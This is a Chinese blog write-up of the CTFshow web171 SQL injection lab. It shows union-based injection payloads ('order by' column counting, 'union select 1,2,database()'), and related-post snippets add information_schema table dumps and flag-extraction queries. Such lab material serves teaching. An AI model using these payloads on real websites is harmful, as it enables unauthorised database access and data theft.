CTFshow web入门web171-sql1

已于 2023-10-25 21:48:28 修改
阅读量117 收藏
点赞数 1
文章标签： sql 数据库
于 2023-10-25 21:47:46 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_74336671/article/details/134044316
版权

 --+：

使用注释符–+;

+代表的是空格;

或者使用'来做注释符#

本题考察sql注入联合查询union select

首先我们试着注入1‘ and 1=1’ 

回显异常，说明存在注入

 继续到1‘ order by 3--+

  继续到1‘ order by 4--+

 

说明到3就没有了，直接进行union查询 (此时将1改为-1)

 -1‘ union select 1,2,database()--+

得到数据

郭与童
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
CTFshow sql注入 上篇(web171-220)
Kradress的博客
03-18 7042
目录前言题目web 171(万能密码)web 172(回显内容过滤,base64或者hex编码绕过)web 173(回显内容过滤,base64或者hex编码绕过)web 174 (盲注)总结 前言 师傅们加油!!! 题目 web 171(万能密码) //拼接sql语句查找指定ID用户 $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;"; id存在注
CTFSHOW web入门——web171
m0_74093152的博客
03-26 413
查询用户名为flag的信息 1' union select id,username,password from ctfshow_user where username='flag' --+然后查询库名 1' union select 1,2,database() --+首先查询有多少列，1' order by 3--+查看ctfshow_web库的表。
CTFshow之web171~180---SQL注入（1）
金 帛的博客
06-04 2144
ctfshow，SQL注入的wp
ctfshow web入门 SQl注入web171--web179
最新发布
2301_81040377的博客
04-18 349
就能一次性查出25和26的，如果25存在就直接输出flag了，不然的话26存在也行。反正这种盲注问题用脚本就行了学的话看一下这篇文章。过滤了很简单的，当然是select啦，大小写绕过。还用用脚本注入的，但是我还没有成功过所以就…时间盲注，参考下面的文章，还是脚本做。，9999不存在时会查询id=3。我不知道怎么整的，看出是布尔盲注。进行猜测表格的id只有24个。没反应没事我们直接访问试试。是网站文件默认存放位置。本地测试，查询id为。还是base64解码。
ctfshow sql注入 web171-web253 wp
mumuzi的博客
02-02 5503
存货，别说我卷了
CTFshow-web入门171（sql注入）
Hunter909的博客
10-12 114
username若是对于flag就会被屏蔽、隐藏（没有办法去改变username!=flag），但是会发现ID排序是有顺序的，就可以慢慢试id = 25,id = 26......发现id=26时，flag会出来。因为$sql = "select username,password from user where username!这里是具有sql注入漏洞的，它这里没有限定条件，直接运用简单的sql注入把隐藏的flag找出来就行。
超级SQL注入工具-web-sql
10-28
超级SQL注入工具是一款基于HTTP协议自组包的SQL注入工具，支持出现在HTTP协议任意位置的SQL注入，支持各种类型的SQL注入 支持Bool型盲注、错误显示注入、Union注入，支持Access、MySQL5以上版本、SQLServer、Oracle...
vue+element-ui+websql
04-19
使用vue+elemetnui框架，采用websql/localsotrage作为数据存储，实现增删改查
CTFSHOW web193 left标注盲注脚本
05-04
它使用了 SQL 注入漏洞来获取 flag。具体来说，它通过构造 SQL 语句的方式，逐个字符地获取 flag。其中，它通过修改注入语句中的 payload 变量，来获取不同的信息，包括数据库名、表名、列名和 flag 的值。在获取每...
T-SQL编程入门经典part1
04-14
T-SQL经典教材，非常适合入门，同时适合有一定经验的数据库编程者
WEB漏洞学习-sql注入
06-11
之前文章中的导图文件，由于个人的在线时间导致大家获取困难，现在放在这里供大家自行取用。
ctfshow-web入门-sql注入-web171
HkD01L的博客
11-22 246
此题为 【从0开始学web】系列第一百七十一题 此系列题目从最基础开始，题目遵循循序渐进的原则 从此题开始的150道题全部为sql注入，准备好了吗？
ctf.show的SQL注入(web171-web253)
wanan的博客
09-30 6765
ctf.show的SQL注入(web171-web253)
ctfshow-web入门-sql
qq_43618536的博客
07-10 945
ctfshow-web入门-sql
CTFshow web入门171-187
qzh3485535的博客
03-18 1509
这里明确给出怎么找flag，就在password字段里面，旁边对应的字段是username的字段是flag。可以使用%0a（回车），括号，%09，%0c，%0d，%0b代替。\xnn的意思是ascii码为对应十六进制内容是nn的字符。把flag写到1.txt里面，然后访问得到flag。可以拿别的搞 /**/或者是%0a（这个是回车）一般来说都是在/var/www/html/在测试中发现很多符号被过滤了，用不了。where ，单引号，反引号被过滤了。% 匹配任何数目的字符，包括零字符。
ctfshow sql171-179
2202_75317918的博客
11-13 595
先打开我们本地的mysql，可以看到这些数据库。
ctfshow sql注入 171~
shinygod的博客
03-30 661
ctfshow sql 爆表：-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="ctfshow_web";--+ 爆列：-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_nam
ctfshow---sql注入（171-213）
fainpo的博客
05-01 682
这里提一句，为什么不直接替换成acb这种，因为，flag原本就有字母，还原的时候会全部都还原成数字的，数字替换成符号应该也是可以的，这边测试了下除了&#好像别的符号都可以。插入查询后查询语句就会变成这样，由于id=11111这是一个不存在的id，而后面1=1又为真，所以会查询到表内所有的内容，--+是注释后面的字符。因为接受username的时候没有用引号，所以接受单纯的数字，而数字和字符比较会转换类型，字符串会变成数字0进行比较，所以相等。
ctfshow web入门 sql注入
03-17
SQL注入是一种常见的网络安全漏洞，它通过提交非法的SQL语句来欺骗Web应用程序，访问或修改数据库中的数据。通过在Web应用程序的输入字段中插入恶意代码，攻击者可以绕过安全措施并获得不应该拥有的敏感信息。为了...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值